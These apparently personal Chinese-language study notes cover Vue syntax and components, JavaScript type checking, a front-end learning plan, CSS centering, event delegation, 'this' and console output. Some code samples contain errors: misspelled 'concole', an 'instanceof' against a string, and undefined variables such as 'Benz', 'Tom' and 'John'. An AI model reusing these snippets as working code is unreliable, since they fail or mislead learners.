vue—你必须知道的
更多总结 猛戳这里
属性与方法
不要在实例属性或者回调函数中(例如,vm.$watch('a', newVal => this.myMethod())
使用箭头函数。因为箭头函数会绑定父级上下文,所以 this
不会按照预期指向 Vue 实例,然后 this.myMethod
将是未定义。
语法
v- 指令是带有v-的特殊属性
- v-if 条件渲染
- v-show
- v-else (必须在v-if/v-else-if/v-show指令后)
- v-else-if (v-if/v-else-if后)
- v-for (遍历)
- v-html (绑定HTML属性中的值)
- v-bind (响应更新HTML特性,绑定自定义属性,如绑定某个class元素或style)
- v-on (监听指定元素的dom事件)
- v-model (内置的双向数据绑定,用在表单控件,绑定的value通常是静态字符串)
- v-cloak 关于vuejs页面闪烁{{message}}
- v-once 只渲染元素和组件一次,随后的重新渲染,元素/组件及其所有的子节点将被视为静态内容并跳过
<p v-if="seen">超然haha</p> <p v-else></p> <div v-show="isSeen">超然haha</div> <div v-else></div> <ul v-bind:class="{'class1': class1}"> <li v-for="item in items">{{ item }}</li> </ul> <button v-on:click="handleClick">click</button> <div> <p>{{ message }}</p> <input v-model="message"> </div> <!-- v-for --> <!-- 可以通过一个对象的属性来迭代数据 --> <li v-for="value in object"> {{ value }} </li> <!-- 也可以提供第二个的参数为键名 --> <li v-for="(value, key) in object"> {{ key }} : {{ value }} </li> <!-- 第三个参数为索引 --> <li v-for="(value, key, index) in object"> {{ index }}. {{ key }} : {{ value }} </li> <!-- 也可以循环整数 --> <li v-for="n in 10"> {{ n }} </li> <!-- v-cloak --> <!-- 和CSS规则如[v-cloak]{display:none}一起用时,这个指令可以隐藏未编译的Mustache标签直到实例准备完毕 --> [v-cloak]{ display:none; } <div v-cloak>{{message}}</div> <!-- v-once --> <!-- 组件 --> <my-component v-once :comment="msg"></my-component>
表达式——提供了JavaScript表达式支持
参数——指令后以冒号声明
<a v-bind:href="url">超然haha</a>
过滤器
<div id="app"> {{ message | capitalize }} </div>
<script> new Vue({ el: '#app', data: { message: 'runoob' }, filters: { capitalize: function (value) { if (!value) return '' value = value.toString() return value.charAt(0).toUpperCase() + value.slice(1) } } }) </script>
缩写
- v-bind
- v-on
<!-- 完整语法 --> <a v-bind:href="url"></a> <!-- 缩写 --> <a :href="url"></a> <!-- 完整语法 --> <a v-on:click="doSomething"></a> <!-- 缩写 --> <a @click="doSomething"></a>
计算属性
computed 属性默认只有 getter ,不过在需要时你也可以提供一个 setter
var vm = new Vue({ el: '#app', data: { name: 'Google', url: 'http://www.google.com' }, computed: { site: { // getter get: function () { return this.name + ' ' + this.url }, // setter set: function (newValue) { var names = newValue.split(' ') this.name = names[0] this.url = names[names.length - 1] } } } }) // 调用 setter, vm.name 和 vm.url 也会被对应更新 vm.site = '菜鸟教程 http://www.runoob.com'; document.write('name: ' + vm.name); document.write('<br>'); document.write('url: ' + vm.url);
特殊属性
key 主要用在 Vue的虚拟DOM算法,在新旧nodes对比时辨识VNodes
<li v-for="item in items" :key="item.id">...</li>
ref 给元素或子组件注册引用信息。引用信息将会注册在父组件的 $refs 对象上
<!-- vm.$refs.p will be the DOM node --> <p ref="p">hello</p> <!-- vm.$refs.child will be the child comp instance --> <child-comp ref="child"></child-comp>
is 用于动态组件,决定哪个组件被渲染
<!-- 动态组件由 vm 实例的属性值 `componentId` 控制 --> <component :is="componentId"></component> <!-- 也能够渲染注册过的组件或 prop 传入的组件 --> <component :is="$options.components.child"></component>
keep-alive 缓存不活动的组件实例,而不是销毁它们,保留组件状态避免重新渲染
<!-- 基本 --> <keep-alive> <component :is="view"></component> </keep-alive>
include && exclude 允许组件有条件的缓存
vue 样式绑定
class属性
- v-bind:class
<div v-bind:class="{ active: isActive }"></div>
- v-bind:class 数组绑定
<div v-bind:class="[activeClass, errorClass]"></div>
style(内联样式)
- v-bind:style
<div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }">超然haha</div>
- v-bind:style (将多个样式绑定到一个元素)
<div v-bind:style="[baseStyles, overridingStyles]">超然haha</div>
当 v-bind:style 使用需要特定前缀的 CSS 属性时,如 transform ,Vue.js 会自动侦测并添加相应的前缀。
vue事件处理器
v-on
- 接收方法
<button v-on:click="greet">Greet</button>
- 内联js语句
<button v-on:click="say('hi')">Say hi</button>
- 事件修饰符
- .stop 阻止单击事件冒泡
- .prevent 不再重载页面
- .capture 使用事件捕获模式
- .self 只当事件在该元素本身(不是子元素)触发时触发
- .once 事件只会触发一次
- 键值修饰符
- .enter
- .tab
- .delete (捕获 “删除” 和 “退格” 键)
- .esc
- .space
- .up
- .down
- .left
- .right
- .ctrl
- .alt
- .shift
- .meta
- 鼠标按键修饰符
- .left
- .right
- .middle
表单控件绑定
基础用法
- 文本
- 复选框
- 单选按钮
- 选择列表
<!-- 文本 --> <input v-model="message" placeholder="edit me"> <p>Message is: {{ message }}</p> <!-- 复选框 --> <input type="checkbox" id="checkbox" v-model="checked"> <label for="checkbox">{{ checked }}</label> <!-- 单选按钮 --> <div id="example-4"> <input type="radio" id="one" value="One" v-model="picked"> <label for="one">One</label> <br> <input type="radio" id="two" value="Two" v-model="picked"> <label for="two">Two</label> <br> <span>Picked: {{ picked }}</span> </div> <!-- 选择列表 --> <div id="example-5"> <select v-model="selected"> <option disabled value="">请选择</option> <option>A</option> <option>B</option> <option>C</option> </select> <span>Selected: {{ selected }}</span> </div>
修饰符
- .lazy 从输入转变为在 change 事件中同步
- .number 自动将用户的输入值转为 Number 类型
- .trim 自动过滤用户输入的首尾空格
父子组件通信
props (父–>子)
Vue.component('child', { // 声明 props props: ['message'], // 就像 data 一样,prop 可以用在模板内 // 同样也可以在 vm 实例中像“this.message”这样使用 template: '<span>{{ message }}</span>' }) <child message="hello!"></child>
on/emit (子–>父)
父组件可以在使用子组件的地方直接用 v-on 来监听子组件触发的事件
不能用 $on 侦听子组件抛出的事件,而必须在模板里直接用 v-on 绑定
<button-counter v-on:increment="incrementTotal"></button-counter>
Vue.component('button-counter', { template: '<button v-on:click="incrementCounter">{{ counter }}</button>', data: function () { return { counter: 0 } }, methods: { incrementCounter: function () { this.counter += 1 this.$emit('increment') } }, })
子组件索引
- JavaScript 中直接访问子组件。为此可以使用 ref 为子组件指定一个索引 ID*
<div id="parent"> <user-profile ref="profile"></user-profile> </div>
var parent = new Vue({ el: '#parent' }) // 访问子组件 var child = parent.$refs.profile
过渡效果
插入、更新或者移除 DOM 时
单元素组件的过度
- v-if
- v-show
- 动态组件
- 组件根节点
-
<div id="demo"> <button v-on:click="show = !show"> Toggle </button> <transition name="fade"> <p v-if="show">hello</p> </transition> </div>
new Vue({ el: '#demo', data: { show: true } }) .fade-enter-active, .fade-leave-active { transition: opacity .5s } .fade-enter, .fade-leave-to /* .fade-leave-active in below version 2.1.8 */ { opacity: 0 }
删除或插入包含在transition组件中的元素时,处理过程:
1. 自动嗅探目标元素是否应用了 CSS 过渡或动画,如果是,在恰当的时机添加/删除 CSS 类名。
2. 如果过渡组件提供了 JavaScript 钩子函数,这些钩子函数将在恰当的时机被调用。
3. 如果没有找到 JavaScript 钩子并且也没有检测到 CSS 过渡/动画,DOM 操作(插入/删除)在下一帧中立即执行。(注意:此指浏览器逐帧动画机制,和Vue的 nextTick 概念不同)
过渡的css类名
- v-enter 过渡开始状态
- v-enter-active 过渡状态
- v-enter-to 过渡的结束状态(插入后)
- v-leave 离开过渡开始状态
- v-leave-active 过渡状态
- v-leave-to 离开过渡结束状态
v- 是这些类名的前缀。使用 可以重置前缀,比如 v-enter 替换为 my-transition-enter。
<div id="example-3"> <button @click="show = !show"> Toggle render </button> <transition name="custom-classes-transition" enter-active-class="animated tada" leave-active-class="animated bounceOutRight" > <p v-if="show">hello</p> </transition> </div>
vue经验总结
click
- 普通元素: @click
- 组件元素: @click.native
slot
- 非必要元素
- 可自定义
router-link
- tag 指定渲染标签类型
- active-class 激活时样式n
javascript 经验总结
fetch
asyn 函数
js数据类型
目录
一、js数据类型
string、number、Boolean、Array、object、Null、Undefined
1. js拥有动态类型
相同的变量可以用作不同的类型
var x // x 为 undefined var x = 6; // x 为数字 var x = "Bill"; // x 为字符串
2. 数据类型
- string
存储字符,可用单引号或双引号 - number
可带小数点或不带(支持科学记数法) - Boolean
true 或 false - array
//先创建再赋值 var cars=new Array(); cars[0]="Audi"; cars[1]="BMW"; cars[2]="Volvo"; //创建的同时赋值 var cars=new Array("Audi","BMW","Volvo"); //直接赋值 var cars=["Audi","BMW","Volvo"];
- object
由花括号分隔,括号内部,对象的属性以名称和键值对的形式定义,属性用逗号分隔var person={ firstname : "Bill", lastname : "Gates", id : 5566 };
//两种寻址方式 name=person.lastname; name=person["lastname"];
- undefined
当声明的变量还未被初始化时,变量的默认值为undefined// 典型用法 var i; i // 变量被声明了,但没有赋值 function f(x){console.log(x)} f() //调用函数时,应该提供的参数没有提供,该参数等undefined var o = new Object(); o.p // 对象没有赋值的属性,该属性的值为undefined var x = f(); x // 函数没有返回值时,默认返回undefined
- null
尚未存在的对象// 典型用法 (1) 作为函数的参数,表示该函数的参数不是对象。 (2) 作为对象原型链的终点。
undefined 与 null
null即是一个不存在的对象的占位符
ECMAScript认为undefined是从null派生出来的,所以把它们定义为相等的。
区分:
concole.log(null === undefined); // false concole.log(typeof null == typeof undefined); // false
二、 js数据类型转换
1. 转换函数
- 转换成字符串(tostring)
// number var iNum = 10; alert(iNum.toString()); //输出 "10" //Boolean var bool = false; alert(bool .toString()); //输出 "false" //基模式 var iNum = 10; alert(iNum.toString(2)); //输出 "1010" alert(iNum.toString(8)); //输出 "12" alert(iNum.toString(16)); //输出 "A"
- 转换成数字
parseInt() parseFloat()/*parseInt() 方法首先查看位置 0 处的字符,判断它是否是个有效数字;如果不是,该方法将返回 NaN,不再继续执行其他操作。*/ /*但如果该字符是有效数字,该方法将查看位置 1 处的字符,进行同样的测试。这一过程将持续到发现非有效数字的字符为止,此时 parseInt() 将把该字符之前的字符串转换成数字。*/ var iNum1 = parseInt("12345red"); //返回 12345 var iNum1 = parseInt("0xA"); //返回 10 var iNum1 = parseInt("56.9"); //返回 56 小数点是无效字符 var iNum1 = parseInt("red"); //返回 NaN // parseFloat() 方法与 parseInt() 方法的处理方式相似 // 但第一个出现的小数点是有效字符 var fNum4 = parseFloat("11.22.33"); //返回 11.22
2. 强制类型转换
ECMAScript 中可用的 3 种强制类型转换:Boolean、Number、String
- Boolean(value)
// 当要转换的值是至少有一个字符的字符串、非 0 数字或对象时,Boolean() 函数将返回 true // 如果该值是空字符串、数字 0、undefined 或 null,它将返回 false var b1 = Boolean(""); //false - 空字符串 var b2 = Boolean("hello"); //true - 非空字符串
- Number(value)
// Number() 函数的强制类型转换与 parseInt() 和 parseFloat() 方法的处理方式相似,只是它转换的是整个值,而不是部分值。 var iNum1 = parseInt("56.9"); //返回 56 var fNum2 = parseFloat("11.22.33"); //返回 11.22 var iNum3 = Number("56.9"); //返回 56.9 var fNum2 = Number("11.22.33"); //返回 NaN
- String(value)
可把任何值转换成字符串
三、js数据类型判断
1. typeOf
类型 | 结构 |
---|---|
Undefined | "undefined" |
Null |
"object" (见下方) |
布尔值 | "boolean" |
数值 | "number" |
字符串 | "string" |
Symbol (ECMAScript 6 新增) | "symbol" |
宿主对象(JS环境提供的,比如浏览器) | Implementation-dependent |
函数对象 (implements [[Call]] in ECMA-262 terms) | "function" |
任何其他对象 | "object" |
2. instanceof (判断已知对象类型)
var a = [], b = new Date(), d = {}, e = null; function c(name){ this.name = name; } alert(b instanceof Date) ----------------> true alert(c instanceof Function) -------------> true alert(c instanceof function) -------------> false console.log(a instanceof Array) ----------> true console.log(a instanceof Object)----------> true console.log(c instanceof Array)-----------> false console.log(e instanceof Object)----------> falseconsole.log(1 instanceof Number)----------> false // 注意:instanceof 后面一定要是对象类型,并且大小写不能错,该方法适合一些条件选择或分支。
- 因为数组本身也是一个对象
- 正常对象用instanceof 可以和数组区分
- null 虽然是个特殊的对象,但并不继承自object
3. 结合 typeof 与 instanceof
function type(item) { if (arguments.length != 1) { throw new Error('must give one argument!') } var itemTp = typeof(item) // if null if (!item) { return itemTp === 'undefined' ? 'undefined' : 'null' } return itemTp !== 'object' ? itemTp : (item instanceof Array) ? 'array' : (item instanceof 'object') }
4. constructor(根据对象的constructor判断)
W3C定义:constructor 属性返回对创建此对象的数组函数的引用(返回对象对应的构造函数)
constructor本来是原型对象上的属性,指向构造函数。但是根据实例对象寻找属性的顺序,若实例对象上没有实例属性或方法时,就去原型链上寻找,因此,实例对象也是能使用constructor属性的
var a = new Array(); console.log(a instanceof Array) // a是否Array的实例 true console.log(a.constructor == Array) // a实例所对应的构造函数是否为Array true //example function Dog(name){ this.name=name; } var Dollar=new Dog("Dollar"); console.log(Dollar.constructor); //输出function Dog(name){this.name=name;} function Dog(){ } var Tim = new Dog(); console.log(Tom.constructor === Dog);//true // constructor属性是可以被修改的,会导致检测出的结果不正确 function Dog(){ } function Cat(){ } Cat.prototype = new Dog(); var m= new Cat(); console.log(m.constructor==Cat); // false console.log(John.constructor==Person); // true // instanceof 对于直接或间接引用都是true console.log(m instanceof Cat); // true console.log(John instanceof Person); // true
5. Object.prototype.toString.call
function a() { }; var toString = Object.prototype.toString; console.log(toString.call(new Date) === '[object Date]'); //true console.log(toString.call(new String) ==='[object String]');//true console.log(toString.call(a) ==='[object Function]'); //true
6. $.type()(万能判断)
jQuery.type( undefined ) === "undefined" // true jQuery.type() === "undefined" // true jQuery.type( null ) === "null" // true jQuery.type( true ) === "boolean" // true
7. 判断是否为数组
数组不是基础类型
typeof [] === 'object' // true
要判断一个变量是否为数组,需要用 Array.isArray( var )
如有建议或补充,欢迎留言交流~
参考:
http://www.jb51.net/article/73566.htm
前端学习
目录
一、html5 && css3
- html5新增元素和标签结构
- html5新增特性API
- css3新特性/动画
- CSS 基础样式、规范总结
- CSS reset
- CSS技术交流
- bootstrap框架熟悉
- html5移动Web开发,跨屏、Retina适配等等
- Web Components标准(Web组件最初的目的是使开发人员拥有扩展浏览器标签的能力,可以*的进行定制组件)
- 兼容性查询
- 设计感的培养
https://webgradients.com/ (色彩)
http://www.userinterface.com.cn/ (设计网站导航)
http://www.shejidaren.com/category/design-tools (设计网站&工具汇总)
二、javascript
1. ES6(ECMAScript 6)
① ECMAScript是JavaScript语言的国际标准,JavaScript是ECMAScript的实现。编程语言JavaScript是ECMAScript的实现和扩展,由ECMA(一个类似W3C的标准组织)参与进行标准化。
ECMAScript与JavaScript的关系
ECMAScript 是一种开放的、国际上广为接受的脚本语言规范。 它本身并不是一种脚本语言。正如在 Web 应用程序中执行有用操作的 bean 集合(例如,Netscape 的 AWT)是 Sun 的 JavaBean 规范的一种实现一样,JavaScript 是 ECMAScript 规范的一种实现。
JScript和JavaScript
JavaScript: Netscape公司
Jscript: Microsoft公司
Jscript是微软版的JavaScript,与JavaScript基本一致.
如果你这样写:<script> </script>
不声明脚本版本的话,在IE里默认用Jscript,在Netscape里默认用JavaScript
脚本语言本身和浏览器版本无关,JavaScript就是JavaScript,永远是Netscape公司的JavaScript,永远首先默认支持 NS;JScript永远就是MS的JScript,IE永远默认首先支持JScript,其实只是MS和NS之间的积怨罢了,于我们这些使用者本无区别......
② ECMAScript 6(以下简称ES6)是JavaScript语言的下一代标准
2. React
ReactJS是基于组件化的开发
在Web开发中,我们总需要将变化的数据实时反应到UI上
React是Facebook开源的JavaScript库,用于构建UI
- React不是一个完整的MVC框架,最多可以认为是MVC中的V(View),甚至React并不非常认可MVC开发模式;
- React的服务器端Render能力只能算是一个锦上添花的功能,并不是其核心出发点,事实上React官方站点几乎没有提及其在服务器端的应用;
- 有人拿React和Web Component相提并论,但两者并不是完全的竞争关系,你完全可以用React去开发一个真正的Web Component;
- React不是一个新的模板语言,JSX只是一个表象,没有JSX的React也能工作。
Virtual DOM
Virtual DOM并没有完全实现DOM,Virtual DOM最主要的还是保留了Element之间的层次关系和一些基本属性。
基于React进行开发时所有的DOM构造都是通过虚拟DOM进行,每当数据变化时,React都会重新构建整个DOM树,然后React将当前整个DOM树和上一次的DOM树进行对比,得到DOM结构的区别,然后仅仅将需要变化的部分进行实际的浏览器DOM更新。而且React能够批处理虚拟DOM的刷新,在一个事件循环(Event Loop)内的两次数据变化会被合并,例如你连续的先将节点内容从A变成B,然后又从B变成A,React会认为UI不发生任何变化。尽管每一次都需要构造完整的虚拟DOM树,但是因为虚拟DOM是内存数据,性能是极高的,而对实际DOM进行操作的仅仅是Diff部分,因而能达到提高性能的目的。这样,在保证性能的同时,开发者将不再需要关注某个数据的变化如何更新到一个或多个具体的DOM元素,而只需要关心在任意一个数据状态下,整个界面是如何Render的。
React.render 是 React 的最基本方法,用于将模板转为 HTML 语言,并插入指定的 DOM 节点。
这里需要注意的是,react并不依赖jQuery,当然我们可以使用jQuery,但是render里面第二个参数必须使用JavaScript原生的getElementByID方法,不能使用jQuery来选取DOM节点。
所有html结构,都可以用js dom来构造,而且能将构造的步骤封装起来,做到「数据-dom结构」的映射。
将普通的DOM以数据结构的形式展现出来
自我认知:
react主要用于构建UI,可用react来构建component,开发时所有的dom构造都基于virtual dom,所谓virtual dom 指的是由js dom 而且能够封装起来形成【数据-dom】结构的映射,具体来说就是一个数据结构,利用react的render将构造好的数据结构插入界面,构造的过程就是根据所提供的数据与要求,设置数据结构中的参数,要怎么做就做成什么。将界面与业务隔离,将重心转移到业务。
2. Angular2/前端MVC、MVVM之类的设计模式
AngularJS
http://www.cnblogs.com/xing901022/p/4280299.html
AngularJS:
AngularJs相对于其他的框架来说,有一下的特性:
- MVVM
- 模块化
- 自动化双向数据绑定
- 语义化标签
- 依赖注入
包括的主要有
1 angularjs模板
视图和模板
2 迭代器过滤
控制器
3 双向绑定
输入框的任何更改会立即反映到模型变量(一个方向),模型变量的任何更改都会立即反映到问候语文本中(另一方向)。
AngularJS是为了克服HTML在构建应用上的不足而设计的。HTML是一门很好的为静态文本展示设计的声明式语言,但要构建WEB应用的话它就显得乏力了。
AngularJS应用的解析
AngularJS应用程序的三个组成部分,及它们如何映射到模型-视图-控制器设计模式:
- 模板(Templates)
模板是您用HTML和CSS编写的文件,展现应用的视图。 您可给HTML添加新的元素、属性标记,作为AngularJS编译器的指令。 AngularJS编译器是完全可扩展的,这意味着通过AngularJS您可以在HTML中构建您自己的HTML标记!
- 应用程序逻辑(Logic)和行为(Behavior)
应用程序逻辑和行为是您用JavaScript定义的控制器。AngularJS与标准AJAX应用程序不同,您不需要另外编写侦听器或DOM控制器,因为它们已经内置到AngularJS中了。这些功能使您的应用程序逻辑很容易编写、测试、维护和理解。
- 模型数据(Data)
模型是从AngularJS作用域对象的属性引申的。模型中的数据可能是Javascript对象、数组或基本类型,这都不重要,重要的是,他们都属于AngularJS作用域对象。
AngularJS通过作用域来保持数据模型与视图界面UI的双向同步。一旦模型状态发生改变,AngularJS会立即刷新反映在视图界面中,反之亦然。
此外,AngularJS还提供了一些非常有用的服务特性:
- 底层服务包括依赖注入,XHR、缓存、URL路由和浏览器抽象服务。
- 您还可以扩展和添加自己特定的应用服务。
- 这些服务可以让您非常方便的编写WEB应用。
如果应用时常要处理大量的动态数据集,并以相对简便和高性能的方式对大型数据表进行显示和变更,React是相当不错的选择。但是React不像AngularJS那样包含完整的功能,举例来说,React没有负责数据展现的控制器
虽然Angular的数据的表达能够非常紧凑, 但是渲染大型数据集依旧被证明是一个痛点. 由于双向数据绑定需要监听每一个可变元素, 数据量变大就会带来显著的性能问题. React, 在另一方面, 使用虚拟DOM来跟踪元素的变化. 当检测到变化时, React会构建一个针对DOM变化的补丁, 然后应用这些补丁. 由于不必在每个元素每次变化时重新渲染整个巨大的table, React相对于其他JavaScript框架有显著的性能提升.
性能
虽然Angular的数据的表达能够非常紧凑, 但是渲染大型数据集依旧被证明是一个痛点. 由于双向数据绑定需要监听每一个可变元素, 数据量变大就会带来显著的性能问题. React, 在另一方面, 使用虚拟DOM来跟踪元素的变化. 当检测到变化时, React会构建一个针对DOM变化的补丁, 然后应用这些补丁. 由于不必在每个元素每次变化时重新渲染整个巨大的table, React相对于其他JavaScript框架有显著的性能提升.
3. Node.js
熟悉,学习Node的运行方式以及主流框架的设计模式,有助于深入理解Javascript
4. 了解MongoDB文档数据库
5. Node.js异步编程的流程控制
有助于深入理解Javascript异步编程
三、 前端工程化
1.gulp/webpack等前端工具
2.前端模块化、组件化、可测试化、性能优化、可伸缩性(scalable)
3.前端自动化测试,(如PhantomJS之类的工具)
四、前瞻
1.ES7(ECMAScript 7)
2.html5新特性 webGL openGL
3.React/Web Components
五、学习资源
1.《Javascript高级程序设计》
2.《高性能Javascript》
3.《深入浅出Node.js》
4.Google/Stack Overflow/Github
5.关注国内前端牛人的博客或者Github动态
6.Mozilla开发者网站,Web标准、Api等等文档比较详细和权威 https://developer.mozilla.org/zh-CN/
7.慕课网,有很多质量不错的前端课程
8.前端技术发展迭代非常快,需要及时关注新动向
9.选择一个热门的前端开源项目,深入研究其用法和源代码,学习其设计思想,逐步提升自己的前端架构设计能力
10.关注大型技术会议的技术分享,关注大公司的技术团队
11.优秀总结
六、学习顺序
1.html5新元素、标签、标准、常用的新特性Api
2.css3的使用
3.bootstrap,移动Web、跨浏览器开发
4.react
5.Node.js
持续更新······
如有其他资源或建议,欢迎留言交流~
CSS 居中
目录
一、水平或垂直居中
1. 单行内容垂直居中
/*height = line-height*/ .center{ height: 4em; line-height: 4em; overflow: hidden; /*保护布局,非必须*/ }
支持:所有块级、内联元素、所有浏览器
缺点:只能显示一行
2. div水平居中
<!--html代码--> <div class="center">div居中了</div>
body{ text-align:center} .center{ margin:0 auto; /*main*/ width:400px; height:100px; border:1px solid #F00 }
3. float
给父元素设置float,然后父元素设置position:relative和left:50%,子元素设置position:relative和left:-50%来实现
二、水平+垂直居中
1. 非固定高度居中
.middle{ position:absolute; top:10px; bottom:10px; }
支持:所有块级、内联元素、所有浏览器
缺点:容器不能固定高度
2. 利用表格
.middle{ display: table-cell; height: 300px; vertical-align: middle; }
缺点:IE无效
3. margin负值
.middle { width: 400px; height: 200px; position: absolute; top: 50%; left: 50%; margin-left: -200px; /* width/2 */ margin-top: -100px; /* height/2 */ }
支持:ie各个版本
缺点:非响应式,宽高固定,需要为padding预留空间或用box-sizing:border-box
4. 完全居中
<!DOCTYPE html> <html> <head> <title>text-align</title> <style type="text/css" media="screen"> body { text-align: center } .middle { background: red; bottom: 0; height: 100px; left: 0; margin: auto; position: absolute; top: 0; right: 0; width: 100px; } </style> </head> <body> <div class="middle">center</div> </body> </html>
5. fixed(可视区域内居中)
.middle { position: fixed; z-index: 999; /*设置较大的z-index居于其他元素上方 最好在外层容器设置position:relative */ }
6. transform
.middle { width: 50%; margin: auto; position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%,-50%); -ms-transform: translate(-50%,-50%); transform: translate(-50%,-50%); }
缺点: 不支持IE8
7. inline-block
.middle{ display: inline-block; vertical-align: middle; text-align: center; }
8. Flex方法
<div class="container"> <!--容器内的元素将会居中--> <img src="a.jpg"> </div>
.container{ display: flex; justify-content: center; align-items: center; } /*考虑兼容性 */ .container { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-box-align: center; -moz-box-align: center; -ms-flex-align: center; -webkit-align-items: center; align-items: center; -webkit-box-pack: center; -moz-box-pack: center; -ms-flex-pack: center; -webkit-justify-content: center; justify-content: center; }
1.设置container的display的类型为flex,激活为flexbox模式。
2.justify-content定义水平方向的元素位置
3.align-items定义垂直方向的元素位置
支持:任意宽高
不支持IE8-9
三、图片居中
1. align
<div align="center"><img src="a.jpg" /></div>
2. text-align
<div style="text-align:center"><img src="a.jpg" /></div>
四、对照表
所用样式 |
支持的浏览器 |
是否 响应式 |
内容溢出后的样式 |
resize:both |
高度可变 |
主要缺陷 |
Absolute |
现代浏览器&IE8+ |
是 |
会导致容器溢出 |
是 |
是* |
‘可变高度’的特性不能跨浏览器 |
负margin值 |
所有 |
否 |
带滚动条 |
大小改变后不再居中 |
否 |
不具有响应式特性,margin值必须经过手工计算 |
Transform |
现代浏览器&IE9+ |
是 |
会导致容器溢出 |
是 |
是 |
妨碍渲染 |
Table-Cell |
现代浏览器&IE8+ |
是 |
撑开容器 |
否 |
是 |
会加上多余的标记 |
Inline-Block |
现代浏览器&IE8+&IE7* |
是 |
撑开容器 |
否 |
是 |
需要使用容器包裹和hack式的样式 |
Flexbox |
现代浏览器&IE10+ |
是 |
会导致容器溢出 |
是 |
是 |
需要使用容器包裹和厂商前缀(vendor prefix) |
持续更新······
如有建议或其他实现方法,欢迎留言交流~
事件委托和this
一、事件
事件阶段
一般的,事件分为三个阶段:捕获阶段、目标阶段和冒泡阶段。
(1)捕获阶段(Capture Phase)
事件的第一个阶段是捕获阶段。事件从文档的根节点流向目标对象节点。途中经过各个层次的DOM节点,并在各节点上触发捕获事件,直到到达事件的目标节点。捕获阶段的主要任务是建立传播路径,在冒泡阶段,事件会通过这个路径回溯到文档跟节点。
或这样描述:
任何事件产生时,如点击一个按钮,将从最顶端的容器开始(一般是html的根节点)。浏览器会向下遍历DOM树直到找到触发事件的元素,一旦浏览器找到该元素,事件流就进入事件目标阶段
(2)目标阶段(Target Phase)
当事件到达目标节点的,事件就进入了目标阶段。事件在目标节点上被触发,然后会逆向回流,直到传播至最外层的文档节点。
(3)冒泡阶段(Bubble Phase)
事件在目标元素上触发后,并不在这个元素上终止。它会随着DOM树一层层向上冒泡,回溯到根节点。
冒泡过程非常有用。它将我们从对特定元素的事件监听中释放出来,如果没有事件冒泡,我们需要监听很多不同的元素来确保捕获到想要的事件。
事件委托
事件委托是一种由其它元素而非事件目标元素来响应事件产生的行为的思想。
通俗的讲,事件就是onclick,onmouseover,onmouseout,等就是事件,委托呢,就是让别人来做,这个事件本来是加在某些元素上的,然而你却加到别人身上来做,完成这个事件。
也就是:利用冒泡的原理,把事件加到父级上,触发执行效果。
好处呢:1.提高性能; 2. 易于维护;
比如用document元素来处理按钮的点击行为,用ul元素来处理其子元素li的事件。
有多种方法来处理事件委托。标准方法来源于原生浏览器的功能。浏览器以一种特定的工作流程来处理事件,并支持事件捕获和事件冒泡。W3C关于浏览器怎么支持事件的文档:W3C DOM Level 3 Events。一些JS库和框架公开了其它方式,如发布/订阅模型(将在后文提及)。
事件冒泡
(1)为什么要阻止事件冒泡
有种可能是,某个DOM节点绑定了某事件监听器,本来是想当该DOM节点触发事件,才会执行回调函数。结果是该节点的某后代节点触发某事件,由于事件冒泡,该DOM节点事件也会触发,执行了回调函数,这样就违背了最初的本意了。
(2)如何阻止事件冒泡
- stopPropagation:告诉DOM事件停止冒泡
- stopImmediatePropagation,它不仅停止冒泡,也会阻止这个元素上其它监听当前事件的处理程序触发。然而,停止传播事件时要小心,因为你不知道是否有其它上层的DOM元素可能需要知道当前事件。
- preventDefault,这个方法会阻止浏览器处理事件的默认行为。一个常见示例就是链接,使用链接执行UI操作是一种常见的做法。然而,当我们不希望链接跟普通被激活的链接一样会在新标签页打开一个新页面,就可以使用preventDefault方法来阻止这个默认行为。
订阅发布模式
还有其它实现事件委托的方法可以考虑,其中值得一提的就是发布/订阅模型。发布/订阅模型也称为了广播模型,牵涉到两个参与者。通常,两个参与者在DOM中并没有紧密的联系,而且可能是来自兄弟的容器。可以给它们共同的祖先元素设置监听处理程序,但是如果共同的祖先元素在DOM树中处于较高层次(离根节点比较近),就会监听很多同辈元素的事件,会造成意想不到的结果;当然,也可能存在逻辑或结构原因要分开这两个元素。
发布/订阅模型也能自定义事件。发布/订阅模型从一个元素发送消息后并向上遍历,有时也向下遍历,DOM会通知遍历路径上的所有元素事件发生了。在下面的示例中,JQuery通过trigger方法传递事件。
二、this
this 关键字在JavaScript中的一种常用方法是指代码当前上下文。
- 如果this没有被设置,则默认指向全局对象,其通常是window
- 如果一个函数中运行了一个内联函数,比如一个事件监听器,则this指向内联函数的源代码。例如,当设置一个按钮的单击处理程序,this将引用匿名函数内的按钮。
- 如果函数是一个对象的构造函数,this指向新对象。
- 如果函数被定义在一个对象上,然后调用对象时,this指向该对象。
- 在异步编程中,this可以很容易改变过程中一个功能操作。保持处理程序上下文的一个小技巧是将其设置到闭包内的一个变量,当在上下文改变的地方调用一个函数时,如setTimeout,你仍然可以通过该变量引用需要的对象。
例子
(1)如果该函数是被当做某一个对象的方法,那么该函数的this指向该对象;
var car= { modelNum: "Benz" } function f() { alert(this.modelNum+ ":hello world") }//this就是car这个对象 Benz.sayHi = f Benz.sayHi() ;
(2)函数之内调用
当函数中有 this,其实就意味着它被当做方法调用,之间调用相当于把他当做window对象的方法,this指向window.
function func() { alert(this) // this指向window } func()
总之,如果this没有被设置,则默认指向全局对象,其通常是window
操作this的另一种方式是通过call、apply和bind。三种方法都被用于调用一个函数,并能指定this的上下文,你可以让代码使用你规定的对象,而不是依靠浏览器去计算出this指向什么。
参考:
让js调试更简单—console
一、显示信息的命令
- console.log 用于输出普通信息
- console.info 用于输出提示性信息
- console.error用于输出错误信息
- console.warn用于输出警示信息
最常用的就是console.log了。
二、占位符
console上述的集中度支持printf的占位符格式,支持的占位符有:字符(%s)、整数(%d或%i)、浮点数(%f)和对象(%o):
<script type="text/javascript"> console.log("%d年%d月%d日",2011,3,26); </script>
%o、%O都是用来输出Object对象的,对普通的Object对象,两者没区别,但是打印dom节点时就不一样了:
// 格式成可展开的的DOM,像在开发者工具Element面板那样可展开 console.log('%o',document.body.firstElementChild); // 像JS对象那样访问DOM元素,可查看DOM元素的属性 // 等同于console.dir(document.body.firstElementChild) console.log('%O',document.body.firstElementChild);
%c占位符是最常用的。使用%c占位符时,对应的后面的参数必须是CSS语句,用来对输出内容进行CSS渲染。常见的输出方式有两种:文字样式、图片输出。
三、显示某个节点的内容
